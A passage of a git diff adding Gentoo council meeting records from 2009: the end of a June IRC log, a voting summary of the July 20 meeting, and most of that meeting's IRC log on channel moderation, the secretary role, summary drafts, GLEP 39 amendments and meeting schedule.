+17:41 <+ciaranm> NeddySeagoon: all was sunny and shiny, gentoo made progress, developers got along and bugs got fixed
+17:42 <@ulm> ciaranm: every dev can edit it i think
+17:42 <@leio> where's the conflict resolution process documented?
+17:42 <+ciaranm> leio: credits.tex in pms iirc
+17:42 < reavertm> ciaranm: so what happened that it all changed? :)
+17:42 < NeddySeagoon> ciaranm, pretty mucah as happens now but Gentoo has got a lot more complex meanwhile
+17:42 <+ciaranm> reavertm: love-sources
+17:42 <+ciaranm> reavertm: and then gentoo-alt
+17:43 <@leio> no references to "conflict" in pms.html
+17:43 < reavertm> you suggested to keep them off-tree or sth?
+17:43 <@dev-zero> ciaranm: what had love-sources to do with it?
+17:43 < reavertm> probably personal conflicts with maintainers?
+17:43 <+ciaranm> leio: there should be a "Reporting Issues" section
+17:44 <+ciaranm> dev-zero: seemant decided that we couldn't tell users in #gentoo who were using love-sources to change kernels before moaning that they experienced filesystem corruption etc
+17:44 < yngwin> bug 57300
+17:44 < Willikins> yngwin: https://bugs.gentoo.org/57300 "Ciaranm: the antagonism continues"; Developer Relations, Default; RESO, FIXE; seemant@g.o:devrel@g.o
+17:44 <@leio> ciaranm: ok, thanks. I'll add to my TODO to read through the whole document from top to bottom one day even though not implementing a PM
+17:44 -!- jlec [n=jlec@ip-62-143-31-170.unitymediagroup.de] has left #gentoo-council []
+17:45 <+ciaranm> leio: oh good. we could use some people doing that.
+17:45 <+ciaranm> yngwin: before then even
+17:45 <@leio> the TODO list is too long.
+17:45 < yngwin> yeah, but thats where its documented
+17:45 <+ciaranm> the whole "#gentoo losing all its active ops" thing happened quite a bit before that mess
+17:46 <+ciaranm> then there was that whole year-long freeze on recruiting developers thanks to drobbins' lawyer trying to make everyone sign a bit of paper agreeing to turn over their computer to the foundation upon request
+17:47 < hwoarang> :/
+17:47 < NeddySeagoon> ciaranm, do you still have a copy of that ?
+17:47 <+tanderson|na> dev-zero: I'll talk to cardoe and ask if he is expecting to have problems next meeting. If not, I'll be your proxy
+17:47 <+ciaranm> NeddySeagoon: i could probably find one if i could remember where stuff is in gentoo cvs
+17:48 <+ciaranm> NeddySeagoon: proj/en/devrel/copyright-assignment.xml iirc
+17:48 <+ciaranm> ...or, for that matter, if i could remember how to use cvs
+17:48 < NeddySeagoon> ciaranm, thanks.
+17:49 <+ciaranm> http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/devrel/copyright-assignment.xml?hideattic=0&rev=1.17&view=log
+17:49 <@dev-zero> does the proxy have to be a gentoo-dev anyway?
+17:49  * dev-zero is going to read tha ru!3z
+17:49 <+ciaranm> dev-zero: no
+17:50 <+ciaranm> NeddySeagoon: http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/devrel/assignment.txt?hideattic=0&rev=1.2&view=markup is the exact wording
+17:50 <+tanderson|na> dev-zero: I'll just make an alterego and we're good :P
+17:50 <+ciaranm> NeddySeagoon: search for 'media' for the nasty part
+17:50 <@dev-zero> tanderson|na: hehe :)
+17:50 <+ciaranm> hrm, no
+17:50 <+ciaranm> that's not the lawyer version
+17:50 <@dev-zero> tanderson|na: or someone who responded quiet fast got a job
+17:53 -!- ssuominen [n=ssuomine@i062213.gprs.dnafinland.fi] has quit [Remote closed the connection]
+17:54 -!- ssuominen [n=ssuomine@i062213.gprs.dnafinland.fi] has joined #gentoo-council
+17:57 < NeddySeagoon> ciaranm, I can't believe that was written by a lawyer. It confuses copyright and IP
+17:58 <+ciaranm> NeddySeagoon: i'm not even sure if that's the lawyer's version
+17:58 <+ciaranm> NeddySeagoon: i seem to recall there being a version at one point that specifically said you have to hand over your computer if they ask for it
+17:58 < NeddySeagoon> ciaranm, Its quite possible to assign copyright and retain IP
+17:59 < NeddySeagoon> also, it takes no account in the variations in copyright law aound the world
+17:59 <+ciaranm> NeddySeagoon: one of the objections was that anyone in germany(?) couldn't legally sign the original agreement, or that they couldn't agree to hand over certain rights that it demanded
+18:00 <@dev-zero> ciaranm: same problem with Switzerland I think
+18:00 < NeddySeagoon> ciaranm, yep. In the UK employers often own copyright and IP to everything you do, even in your own time
+18:00 <+ciaranm> NeddySeagoon: fortunately the only thing i've ever had to care about on this was a one day course explaining all of it from some very highly paid lawyers for a very large software company, who only did that and got us to take a silly test so they could cover their asses regarding us understanding our rights
+18:01 < NeddySeagoon> heh
+18:01 -!- The_Paya [n=the_paya@gentoo/developer/thepaya] has quit [Read error: 110 (Connection timed out)]
+18:02 <+ciaranm> i do recall them very specifically saying that they didn't own anything we did in our own time on our own hardware, but that we should write down anything we did do and tell management everything we did in spare time so they could be clear there what they did and did not own
+18:03 < Calchan> ciaranm, that's the US way and it's contagious, I spent my whole morning with lawyers today instead of doing useful work
+18:03 < NeddySeagoon> ciaranm, read the fine print in your contract of employment
+18:04 <+ciaranm> NeddySeagoon: oh, my current contract's fine on that
+18:04 < NeddySeagoon> ciaranm, I'm glad to hear that
+18:05 <+ciaranm> although for some weird reason i'm not allowed to contribute code to projects using GPL-1. i have nfc why.
+18:05 -!- spatz [n=spatz@unaffiliated/spatz] has left #gentoo-council ["Bye"]
+18:05 < NeddySeagoon> ciaranm, It sounds like you went into it before you signed on the dotted line
+18:23 -!- candybar [n=foo@unaffiliated/candybar] has left #gentoo-council ["Leaving"]
+18:29 -!- You're now known as tanderson
+18:35 -!- musikc [n=musikc@gentoo/developer/musikc] has quit ["Leaving"]
+18:44 -!- Cardoe [n=Cardoe@gentoo/developer/Cardoe] has quit ["Leaving"]
+18:47 -!- NeddySeagoon [n=NeddySea@gentoo/developer/NeddySeagoon] has quit [Client Quit]
+18:49 -!- milobit [n=milobit@barbossa.ns-linux.org] has left #gentoo-council ["Leaving"]
+19:14 -!- miknix [n=miknix@gentoo/developer/miknix] has joined #gentoo-council
+19:41 -!- ABCD [n=ABCD@wikipedia/ABCD] has left #gentoo-council ["http://quassel-irc.org - Chat comfortably. Anywhere."]
+19:48 -!- Arfrever [n=Arfrever@gentoo/developer/arfrever] has quit [Read error: 110 (Connection timed out)]
+19:58 -!- miknix [n=miknix@gentoo/developer/miknix] has quit [Read error: 110 (Connection timed out)]
+19:58 -!- miknix [n=miknix@gentoo/developer/miknix] has joined #gentoo-council
+20:11 -!- madpinger [n=mad@fu/coder/madpinger] has joined #gentoo-council
+20:15 -!- madpinger [n=mad@fu/coder/madpinger] has left #gentoo-council ["Ex-Chat"]
+20:22 -!- ulm [n=ulm@gentoo/developer/ulm] has quit ["ERC Version 5.3 (IRC client for Emacs)"]
+20:40 < trelane> well, due to the silence based on what I had to say, either I'm WAY out in left field, or I'm pretty much right on it.
+20:40  * trelane just hopes he got it right
+20:42 <@leio> trelane: most of council members are in such a timezone to go to sleep right after meeting, I believe. I was dealing with something related though
+20:42 < trelane> cool :)
+20:42 <@leio> and now it's way past my bed time too, which in my timezone is really right after the meeting
+20:42 < trelane> darn, I've always thought a well written argument wakes up the soul
+20:43 < trelane> I'll write it better next time :)
+20:43 <@leio> give it some time, people are indeed really sleeping or tired
+20:44 < trelane> next time I'll send caffeine pills along with my argument then
+20:44 <@leio> I think the mail was well worded and I have it marked as important in IMAP to follow-up
+20:44 < trelane> thanks
+21:03 -!- The_Paya [n=the_paya@190.189.19.103] has joined #gentoo-council
+22:07 -!- zxy_64 [n=zxy_64@unaffiliated/zxy64/x-762372] has left #gentoo-council []
+22:39 -!- miknix [n=miknix@gentoo/developer/miknix] has quit ["Hi, I'm a quit message virus. Please replace your old line with this line and help me take over the world of IRC."]
+22:50 -!- reavertm_ [n=reavertm@azs80.neoplus.adsl.tpnet.pl] has joined #gentoo-council
+23:03 -!- reavertm [n=reavertm@gentoo/contributor/reavertm] has quit [Read error: 110 (Connection timed out)]
+23:19 -!- reavertm_ is now known as reavertm
+23:22 -!- Poly-C [n=Poly-C@gentoo/developer/Polynomial-C] has joined #gentoo-council
+23:23 -!- Polynomial-C [n=Poly-C@gentoo/developer/Polynomial-C] has quit [Read error: 60 (Operation timed out)]
+--- Log closed Fri Jun 12 00:00:30 2009
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090720-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090720-summary.txt
new file mode 100644
index 00000000..c6b348c6
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090720-summary.txt
@@ -0,0 +1,77 @@
+1. Intro 
+
+  1.2. Roll call.
+> Missing: lu_zero.
+
+  1.3. Any volunteers to chair this meeting?
+> solar volunteered.
+
+2. Meeting format
+
+  2.1. Should the channel be moderated during council meetings?
+  > Yes: solar, calchan, dertobi123, ulm, leio, betelgeuse.
+  > No: none.
+
+    2.1.1. If yes, moderate the channel now.
+    > solar moderated the channel at 1816UTC.
+
+    2.1.2. If yes, should council members watch another channel in order to
+    paste ideas/propositions from the latter to the council channel?
+    > No: solar, calchan, betelgeuse, dertobi123, ulm.
+    > Yes: leio.
+
+  2.2. Do we need a secretary?
+  > Yes: calchan, betelgeuse, dertobi123, ulm, solar, leio.
+  > No: none.
+  > The secretary's role will be limited to providing logs and summaries of
+  > the meetings.
+
+    2.2.1. If yes, does the secretary need to be a council member?
+    > No: ulm, solar, dertobi123, leio, betelgeuse, calchan.
+    > Yes: none.
+
+      2.2.1.2. If no, do we confirm gentoofan23?
+      > Yes: solar, calchan, leio, dertobi123, ulm, betelgeuse (?).
+      > No: none.
+
+    2.2.2. Do we need a backup?
+    > No: dertobi123, leio, calchan.
+    > Yes: none.
+    > Did not vote: betelgeuse, solar, ulm.
+
+  > Betelgeuse requested a vote on whether drafts had to be reviewed on the
+  > private alias instead of on the public mailing-list.
+  > Public: betelgeuse, calchan, leio.
+  > Private: solar, dertobi123, ulm.
+  > The decision was made to wait for lu_zero's vote by email.
+
+    2.2.3. gentoofan23 is away for this week, so if yes to 2.2.1.2 we need to
+    look for a secretary for this meeting. Volunteers?
+    > Question not asked.
+
+      2.2.3.1. If no make it an action that we look for one (who, by when?).
+      > Not done.
+
+3. GLEP 39
+
+  3.1. Can the council decide on the process of voting amendments to GLEP 39
+  without an all-developers vote?
+  > No: betelgeuse, dertobi123, solar, ulm.
+  > Yes: calchan, leio.
+
+  3.3. If no to 3.1 make it an action to see with the elections project that
+  all developers vote on 3.2 (who, by when?).
+  > Not done.
+
+4. Meeting schedule
+
+  4.1. Periodicity.
+  > Monthly: solar, calchan, dertobi123, ulm, betelgeuse, leio.
+  > Every two weeks: none.
+
+  4.2. Depending on 4.1 and your availability what week would you like to meet?
+  > Third monday of the month.
+
+  4.3. Do we keep using a Doodle poll to decide when in the week we meet?
+  > Only in case of personal schedule issues, assuming a warning long enough
+  > in advance.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090720.txt b/xml/htdocs/proj/en/council/meeting-logs/20090720.txt
new file mode 100644
index 00000000..a78f6f9e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090720.txt
@@ -0,0 +1,376 @@
+19:59 <@solar> I'm seeing most of the other council people are idle for long periods of time.
+20:00 <@Betelgeuse> solar: of course we are!
+20:00 <@Betelgeuse> I said in my manifesto that I am slacking but got voted in regardless \o/
+20:01 <@solar> you just broke your 4h8m of idle time :p
+20:01 <@Calchan> I'm ready
+20:01  * dertobi123 waves
+20:01 <@Betelgeuse> At some point I thought this was 20UTC like before but luckily it was temporary.
+20:01  * jmbsvicetto takes a seat in the backrow
+20:02 <@Betelgeuse> Calchan: could you link the agenda to the topic
+20:02  * ulm is here too
+20:02 <@Calchan> anybody logging? I am, but would apprecaite a backup in case of splits
+20:02 <@Betelgeuse> Calchan: I always log everything
+20:02 <@Calchan> Betelgeuse, ok
+20:02 -!- Topic for #gentoo-council: Next meeting Monday July 20th 1800UTC.
+20:02 -!- Topic set by Calchan [i=calchan@gentoo/developer/calchan] [Thu Jul 16 23:16:52 2009]
+20:02 <@solar> so only lu_zero is missing?
+20:03  * fmccor|home also always logs everything if needed.
+20:03 -!- Calchan changed the topic of #gentoo-council to: Next meeting Monday July 20th 1800UTC. Agenda: http://archives.gentoo.org/gentoo-council/msg_14756d9207e877f124a36b54f6e43f65.xml
+20:03 <@Calchan> solar, and leio who should be back any time
+20:03 <@Calchan> we can wait a bit for those 2
+20:04 <@leio> here now
+20:04 -!- ssuominen [n=ssuomine@gentoo/developer/ssuominen] has joined #gentoo-council
+20:04 <@Calchan> good, let's give lu_zero a last chance
+20:05 <@Calchan> so, any volunteers to chair?
+20:06 <@solar> sure let get this party started.
+20:06 <@solar> 1. Intro (10 minutes inlcuding late arrivals)
+20:06 <@Calchan> If you agree I would like us to focus on voting today, and keep the discussions and comments to what's required and stick to the agenda
+20:07 <@solar> This is the first council meeting of the 5th council. It's clear we want to take a slighly different path that has been done in the past.
+20:07 -!- tampakrap [n=tuxicity@gentoo/developer/tampakrap] has joined #gentoo-council
+20:07 <@solar> 1.1) fmccor/Betelgeuse and others are logging.
+20:07 <@Calchan> we have plenty of time to discuss on the list, I encourage everbody to do that, dev or not
+20:08 <@solar> 1.2) Everybody is present minus lu_zero so far.
+20:08 -!- spatz [n=spatz@unaffiliated/spatz] has quit [Remote closed the connection]
+20:08 <@solar> 1.3) I'm happy to do it this time.
+20:08 <@Calchan> thanks
+20:09 <@solar> 2) Meeting format.
+20:09 <@solar> 2.1. Should the channel be moderated during council meetings?
+20:09 <@solar> I'll vote: yes
+20:09 <@Calchan> I vote yes too
+20:09 <@dertobi123> yes
+20:09 <@ulm> yes
+20:10 <@solar> that is a majority rule of 4 votes.
+20:10 <@leio> yes
+20:10 <@Calchan> we should still let Betelgeuse vote though
+20:10 <@Betelgeuse> Calchan: I wouldn't mind using it just when needed but find by moderating too.
+20:10 <@Betelgeuse> s/find/fine/
+20:11 <@Calchan> What we can also do is leave the channel open and the first one of us who's uncomfortable with how things go can moderate it without asking us
+20:11 <@Betelgeuse> Calchan: yeah that's what I was saying
+20:11 -!- mrpouet [n=mrpouet@gentoo/developer/mrpouet] has joined #gentoo-council
+20:11 <@solar> 2.1.2. If yes, should council members watch another channel in order to
+20:11 <@solar>     paste ideas/propositions from the latter to the council channel?
+20:11 <@leio> yes
+20:12 <@solar> I would vote No on that. People wanting a voice often would request it via /msg council-guy please +v me so I can talk about item.
+20:12 <@Calchan> I say no, devs and users have plenty of time to express ideas, request discussion topics etc.. on the list
+20:12 <@Betelgeuse> yeah and can use priv / #gentoo-dev
+20:12 <@dertobi123> no, too
+20:13 <@leio> under my vote I have discussional agenda items in mind
+20:13 <@ulm> i vote no, any discussion can take place on the -dev ml beforehand
+20:13 <@Calchan> ulm, I'd prefer gentoo-council@
+20:13 <@solar> note that -dev ml is no longer a requirement
+20:13 <@Betelgeuse> Calchan: I don't like gentoo-council existing at all.
+20:13 <@ulm> Calchan: also fine, I don't mind if it's -dev or -council
+20:13 <@Betelgeuse> gentoo-project and gentoo-dev cover what's there currently
+20:14 <@Calchan> Betelgeuse, true, let's make a note to put discuss that asap after this meeting
+20:14 <@Calchan> /put/d
+20:14 <@leio> and I don't like gentoo-project existing at all, but yeah, lets not go there now :)
+20:15 <@Calchan> look slike we definitely need to discuss this :o)
+20:15 <@dertobi123> looks like, yes ;)
+20:15 <@solar> so +m is the vote with 2.1.2* not being a requirement?
+20:16 <@dertobi123> yeah
+20:16 <@ulm> yes
+20:16 -!- mode/#gentoo-council [+m] by solar
+20:16 <@solar> 2.2) Do we need a secretary?
+20:17 <@Calchan> yes
+20:17 <@Betelgeuse> yes
+20:17 <@dertobi123> we do, yeah
+20:17 <@ulm> i think it worked well, so yes
+20:17 <@solar> I'm in favor of it.
+20:17 <@Calchan> lerio?
+20:17 <@Calchan> leio?
+20:18 <@leio> Define secretaries tasks/responsibilities?
+20:18 <@Calchan> good point
+20:18 <@leio> If the same as before, I'll go with yes
+20:18 <@Calchan> we should still define it now
+20:18 <@Calchan> can we say agendas, logs and summaries?
+20:19 <@Betelgeuse> fine by me
+20:19 <@ulm> sounds good
+20:19 <@dertobi123> Calchan: as before, yeah
+20:20 <@solar> agendas? I don't recall those being part of the role directly.
+20:20 <@Calchan> solar, I seem to remember tanderson slacking on those, so he must have
+20:20 <@Betelgeuse> they weren't I think
+20:20 <@Calchan> oh ok
+20:21 <@leio> I remember dev-zero doing agendas often
+20:21 <@Betelgeuse> and dberkholz at the beginning
+20:21 <@leio> Calchan seems to be good at it now as a replacement *grin*
+20:21 <@Betelgeuse> small toilet break
+20:21 <@Calchan> leio, thanks for volunteering me ;o)
+20:22 <@leio> but that's a separate topic I guess. I agree with logs and summaries being secretary tasks
+20:22 <@leio> and we can maybe sometimes convince the secretary to sometimes volunteer to do something more
+20:22 <@Calchan> btw, we could add agendas to the mix in case we end up deciding the secretary needs to be a council memebr
+20:23 <@solar> I would say yes on the logs and summary. But think mostly it should be council people defining the agenda items based on what we feel the devs/others are calling for.
+20:23 <@solar> 2.2.1. If yes, does the secretary need to be a council member?
+20:23 <@ulm> no
+20:23 <@solar> My input would be 'no'
+20:24 <@Calchan> let's give Betelgeuse a chance to not wet himself before we go forward :o)
+20:24 <@leio> igli made a good comment on the topic of logs and summaries
+20:24 <@dertobi123> dito, no
+20:24 <@leio> "logs and summaries to appointed officer seems good to me; good precedence for trustees (ie officer doesn't decide policy.)"
+20:24 <@leio> which I agree with from the neutrality view
+20:26 -!- Zorry [n=zorry@fu/coder/zorry] has quit [Client Quit]
+20:26 <@Betelgeuse> back
+20:26 <@Betelgeuse> and the secretary doesn't need to be a council member
+20:26 <@Calchan> leio, true, but on the other hand as summaries can't hardly be biased there is a responsibility issue
+20:26 <@Calchan> Betelgeuse, we weren't there yet ;o)
+20:26 <@leio> I guess it's a bigger point in regards to agendas
+20:27 <@Calchan> oh we were, sorry, I had lost my screen for a while
+20:27 <@solar> in the past it was my understanding that the role would mail the council with drafts of the summary. it would then be approved/rejected by the council before being sent to any mailing lists
+20:27 <@leio> anyhow, I think we can easily "outsource" logs and summaries, and we might as well call the person who's supposed to do that the secretary
+20:28  * dertobi123 nods
+20:28 <@ulm> solar: yes, the summary needs approval by the council
+20:28 <@leio> and yes, we read first before it being official
+20:28 <@Calchan> looks like everybody agrees then
+20:28 <@leio> up to now it has been a preliminary summary to gentoo-council ml, we comment (often in IRC), and then it gets posted to -dev after fixes
+20:29 <@solar> you did not vote that I saw Calchan
+20:29 <@Calchan> count it as a no to "does the secretary need to be a council member"
+20:29 <@solar> ok so that moves us to.
+20:29 <@solar> 2.2.1.2. If no, do we confirm tanderson?
+20:29 -!- NeddySeagoon [n=NeddySea@gentoo/developer/NeddySeagoon] has joined #gentoo-council
+20:29 <@Calchan> only if he agrees to wear shorter skirts
+20:30 <@solar> I think it's pretty much a given that he wants the role again.
+20:30 <@Calchan> agreed, and I vote yes
+20:30 <@leio> yes
+20:30  * dertobi123 too, yes
+20:30 <@ulm> yes
+20:30 <@solar> igli is asking that the summary be posted to -project for open comments
+20:31 <@Betelgeuse> fine by me (it has been posted to -council before though)
+20:31 <@Betelgeuse> as long as we have -council it's best there
+20:31 <@ulm> solar: before it's approved by the council?
+20:31 <@solar> I would hope not.
+20:31 <@Calchan> solar, he can comment on -council it's open, at least until we decide what we do with it
+20:31 <@solar> he just /msg me saying after.
+20:32 <@Calchan> solar, and I'd agree with you there
+20:32 <@solar> personaly I would only happen to see -council as being a requirement to where it's sent.
+20:32 <@leio> I find -dev more appropriate for that, as it has been before iirc
+20:32 <@dertobi123> Calchan: indeed. -council for now. and of course, after our approval.
+20:33 <@Calchan> was it usually cross posted on -dev-announce?
+20:33 <@Calchan> can't remember
+20:33 <@Betelgeuse> Calchan: after being approved
+20:33 <@Betelgeuse> and yes approved summaries to -dev-announce
+20:33 <@leio> so we handle the summary through private alias first from now on?
+20:33 <@solar> drafts should really hit aliases only.
+20:33 <@Calchan> Betelgeuse, thanks, ok then no need to post to dev, -council or -project is enough
+20:33 <@Calchan> solar, agreed, alias only for drafts
+20:34 <@solar> and -dev-announce seems logical.
+20:34 <@solar> ok so moving on.
+20:34 <@Calchan> solar, and cross-posted on 0council until we decide else
+20:34 <@leio> well, where do we forward the discussion to (Reply-to)
+20:34 <@solar> 2.2.2. Do we need a backup?
+20:34 <@leio> -council until decided otherwise sounds good.
+20:35 <@Calchan> leio, where it's cross posted
+20:35 <@dertobi123> we don't need a backup, but it'll be nice to have one
+20:35 <@leio> no, if necessary the council members should pick it up anyway
+20:35 <@Calchan> dertobi123, we don;t *if* we can know soon enough when he isn't available
+20:36 <@Calchan> and in his case I think we can
+20:36 <@dertobi123> hrm
+20:37 <@Calchan> for example he warned early enough that he wouldn'
+20:37 <@Betelgeuse> I think we should vote on whether to use private or public for summary drafts
+20:37 <@Calchan> t be available this week
+20:37 <@Betelgeuse> I don't like putting the secretary to the private alias so then there would be some public communication unless something else private is created.
+20:37 <@Calchan> Betelgeuse, good point
+20:38 <@leio> doesn't have to be on the private alias, we just use reply to all
+20:38 <@ulm> leio: exactly
+20:38 <@solar> likewise is what I would think.
+20:38 <@leio> which we need to often do anyway when replying an outside e-mail
+20:38 <@Betelgeuse> I don't like making stuff private unless absolutely necessary.
+20:39 <@Calchan> solar, why don't we simply vote on this?
+20:39 <@solar> but vs sending out what could be heated hot topics it's imo to get the tone set by what we all felt was the outcome of a given meeting.
+20:39 <@ulm> Betelgeuse: we don't want any third party pick up our draft summaries
+20:39 <@solar> vs what the sec alone thinks it might of been
+20:41 <@leio> if meetings go smooth, making a summary out of a clear log doesn't really involve any interpretation. We just haven't had clear resolutions on some topics in the past, slipping to the next thing, etc
+20:41 <@leio> (relates to meeting chairing)
+20:42 <@solar> Do we need to vote on this? public vs private drafts?
+20:42 <@Calchan> solar, I think we should
+20:42 <@solar> I vote for private drafts then
+20:42 <@Calchan> and honestly I'm torn between both
+20:42 <@Betelgeuse> public
+20:43 <@dertobi123> private
+20:43 <@ulm> private
+20:43 <@Calchan> I'll say public, it worked until now
+20:43 <@Calchan> leio?
+20:43 <@leio> public
+20:44 <@Calchan> dammit
+20:44 <@solar> 3 private / 3 public = tie for now.
+20:44 <@Calchan> let's ask for lu_zero's vote by mail
+20:44 <@Calchan> there's no emergency on that
+20:44 <@dertobi123> agreed
+20:45 <@solar> fair enough. Ready to move on?
+20:45 <@Calchan> sure
+20:45 <@leio> I have a compromise suggestion though - gets posted to private when ready from secretary, if no hard objections within ~12 hours it becomes a public draft, and then gets confirmed as final.
+20:45 <@leio> Waiting for lu_zero vote sounds good.
+20:45 <@Calchan> leio, 12 hours is tough due to timezones
+20:46 <@leio> it's to ensure 1-2 council members get a chance to read it before it goes public, not to have everyone do it
+20:46 <@leio> if those 1-2+ don't see anything bad, there probably isn't
+20:46 <@leio> anyways, lets just wait for lu_zero
+20:46 <@Calchan> leio, I'd disagree with that, but let's move on
+20:47 <@solar> 3) GLEP 39
+20:47 <@solar> 3.1. Can the council decide on the process of voting amendments to GLEP 39
+20:47 <@solar>   without an all-developers vote?
+20:47 <@Calchan> yes
+20:47 <@Betelgeuse> I think we can just use votify and have an approved marker to vote on multiple changes at once.
+20:48 <@Betelgeuse> those above pass and those below don't
+20:48 <@Calchan> Betelgeuse, that would be for a later question, but does this imply you vote yes to this one?
+20:49 -!- comprookie2000 [n=david@gentoo/developer/comprookie2000] has quit [Client Quit]
+20:49 <@Betelgeuse> Calchan: What I said is the existing process imho so there's no need for council to say everything so no.
+20:49 <@Calchan> specifically that would be for the implementation of 3.2, not even 3.2 itself
+20:49 <@Calchan> Betelgeuse, OK
+20:49 <@dertobi123> i tend to say no
+20:50 <@Calchan> others?
+20:50 <@solar> Having lived in the USA. I've seen first hand what happens when a group/pres can give itself unlimited powers. They powers granted to the council were given to them by the devs. So imo it's the devs via votify who can change GLEP-039
+20:51 <@dertobi123> solar: well, same goes for germans
+20:51 <@dertobi123> that's why i tend to "no"
+20:51 <@Betelgeuse> solar: I don't specifically understand what you refer in the first sentence but guessing it's not terrible important.
+20:52 <@Betelgeuse> Absolute power corrupts absolute etc.
+20:52 <@dertobi123> plus i'd like to see glep-39 being moved to something non-glep (formal counciil-constituion or something similiar, jmbsvicetto has made a proposal on that)
+20:52 <@Betelgeuse> +ly
+20:52 <@solar> Betelgeuse: in the US Bush gave himself powers that he was not really in power to give to himself. But being he was in a power posiion. Nobody questioned it (no matter how scary the choices)
+20:52 <@solar> Betelgeuse: or that exactly. "Absolute power corrupts absolute etc."
+20:53 <@Calchan> dertobi123, and others before but apparently nobody cared
+20:53 <@dertobi123> well, at least jmbsvicetto and i do care
+20:53 <@Betelgeuse> I don't see that being a priority.
+20:53 <@dertobi123> that's something to start with
+20:53 <@Betelgeuse> But feel free to drive the action.
+20:53 <@dertobi123> Betelgeuse: indeed. that's something longer-term for the next year
+20:53 <@solar> I also do somewhat think 3.2.2 has some merit.
+20:54 <@Calchan> solar, if we vote no to 3.1, it's up to devs to vote on 3.2
+20:54 <@Calchan> solar, so let's get 3.1 voted first
+20:54 <@solar> but lets face it. over time the council will have less qualified people in it so it concerns me.
+20:55 <@leio> I vote yes to 3.1
+20:55  * dertobi123 still no
+20:55 <@Calchan> yes too
+20:55 <@Betelgeuse> no
+20:55 <@solar> no
+20:55 <@leio> ulm?
+20:55 <@ulm> no
+20:56 <@solar> 2 yes / 4 no.
+20:56 <@solar>   3.3. If no to 3.1 make it an action to see with the elections project that
+20:56 <@solar>   all developers vote on 3.2 (who, by when?).
+20:57 <@Betelgeuse> no need
+20:57 <@ulm> too special
+20:57 -!- mode/#gentoo-council [+v jmbsvicetto] by dertobi123
+20:57 <@ulm> we should prepare a son-of-glep39 and let devs vote on that
+20:57 <@Betelgeuse> for example
+20:58 <@Calchan> ulm, I don't see why it prevents us from filling the hole in glep39 that forgets to say how to amend it in the meantime
+20:59 <@Calchan> an all dev vote would be very quick to organize, and at leat we'd know for sure what devs think
+21:00 <+jmbsvicetto> Calchan: I do think we might take the chance and rethink our "metastructure organization"
+21:01 <@dertobi123> can we agree on to discuss this on-list until the next meeting?
+21:01 <+jmbsvicetto> Calchan: Do we want to have a "Gentoo constitution", do we want to have the organization details discussed through and documented on a GLEP? If so, a regular GLEP or do we want to create a new type and set particular rules for it?
+21:01 <@solar> I'm in full agreement with thinking it's time to rethink the structure.
+21:01 <@Calchan> my point with a text whic tires to replace glep 39 is I've been working on one for almost a year, have called for help, abd very few cares, even fewer helped
+21:02 <@Calchan> solar, thining is not enough, assuming we even do it
+21:02 <@Calchan> thinking
+21:02 <@Calchan> at some point we need to start doing something and doing it little by little on glep39 is one way to go
+21:02 <+jmbsvicetto> Calchan: I think we can split the "thinking" in 2 parts: 1. the process, how to change it and where to document it, 2. What type of structure we want
+21:03 -!- Arfrever [n=Arfrever@gentoo/developer/arfrever] has joined #gentoo-council
+21:03 <+jmbsvicetto> Calchan: I think 1 is doable in a "short" timeframe. 2 might take a longer time
+21:03 <@Calchan> jmbsvicetto, you'll soon see that you'll be alone, I've been experiencing that for a year now
+21:04 <@Calchan> but this is getting off topic, do we do 3.3 or not?
+21:04 <@leio> first part of part 1) was what we were voting about here
+21:04 <+jmbsvicetto> Calchan: I understand that, but if can reach some agreement about 1, then people can put forth proposals about 2 and get it decided through a vote
+21:04 <+jmbsvicetto> +we
+21:05 <@solar> I would expect that proccess to take ~2-3 months
+21:05 <@Calchan> let's decide abpout 3.3 first
+21:05 <@Calchan> we're getting awfully late here
+21:06 <@Betelgeuse> Calchan: The evening is young :D
+21:06 <@Calchan> Betelgeuse, I'm at work if you don't mind, and feeding my kids takes priority
+21:07 <@solar> ok. So what do you want to accomplish with 3.3 exactly Calchan?
+21:07 <@Calchan> solar, I want to ask devs how they wantgentoo to modify glep39, and that implies replacing it
+21:08 <@solar> ok so start a thread?
+21:08 <@solar> And CC: -council and -dev ml
+21:08 <@Betelgeuse> no
+21:08 <@Betelgeuse> only one mailing list
+21:08 <@solar> cross-posting kinda sucks.
+21:08 <@Calchan> solar, there was a thread to which nobody replied
+21:09 <@solar> but -dev reaches the max number of devs. -council to keep it official
+21:09 <@Calchan> if you guys really cared you would have given your opionion on this already
+21:09 <@Calchan> so don't pretend you do now
+21:09 <@Betelgeuse> solar: You can start the thread via -dev-announce
+21:09 <@Betelgeuse> solar: that's the way to reach all
+21:11 -!- hparker [n=hparker@gentoo/developer/hparker] has joined #gentoo-council
+21:11 <@solar> -dev-announce seems logical. But it's been mostly a post-only mailing list with very little interactive threads
+21:11 <@dertobi123> -dev-announce and f'up to -council
+21:11 <+jmbsvicetto> solar: set reply-to to the dev ml
+21:11 <@Calchan> solar, we're not going to cross post anything on -council to -dev-announce
+21:13 <@Calchan> solar, so how about we vote whether we want to do 3.3 and get done with it?
+21:13 <@Calchan> again, we're late
+21:13 -!- ed-209 [n=cc@pool-98-114-205-197.phlapa.fios.verizon.net] has joined #gentoo-council
+21:13 <@leio> ok, so I understand we need an action for "No" having happened for 3.1 and 3.3 wasn't something that everyone agreed on afterall (while commenting agenda)?
+21:13 <@solar> Calchan: I'm not sure what exactly you want to vote on.
+21:13 <@solar> but sure. Let the devs decide if they want a restructure.
+21:14 <@Calchan> can we move on?
+21:14 <@solar> and elections handles the vote. it only seems like somebody needs to fire up a thread on the topic. If it gets no feedback then nobody cares
+21:14 <@solar> Please yes.
+21:14 <@solar> 4. Meeting schedule (10 minutes)
+21:15 <@solar> I vote for 4.1.2 at this time every month.
+21:15 <@Calchan> same here
+21:16 <@Betelgeuse> Calchan: will it be that you only have an hour?
+21:16 <@Betelgeuse> Of course having it biweekly eats more hours too.
+21:16  * dertobi123 agrees, once a month, same time as today
+21:16 <@Betelgeuse> monday is good
+21:16 <@ulm> once a month is fine
+21:17 <@ulm> and monday is o.k. for me
+21:17 <@Betelgeuse> Let's try to phrase the exact things to vote on in the agenda.
+21:17 <@Calchan> ys please
+21:17 <@solar> the same time UTC as this one?
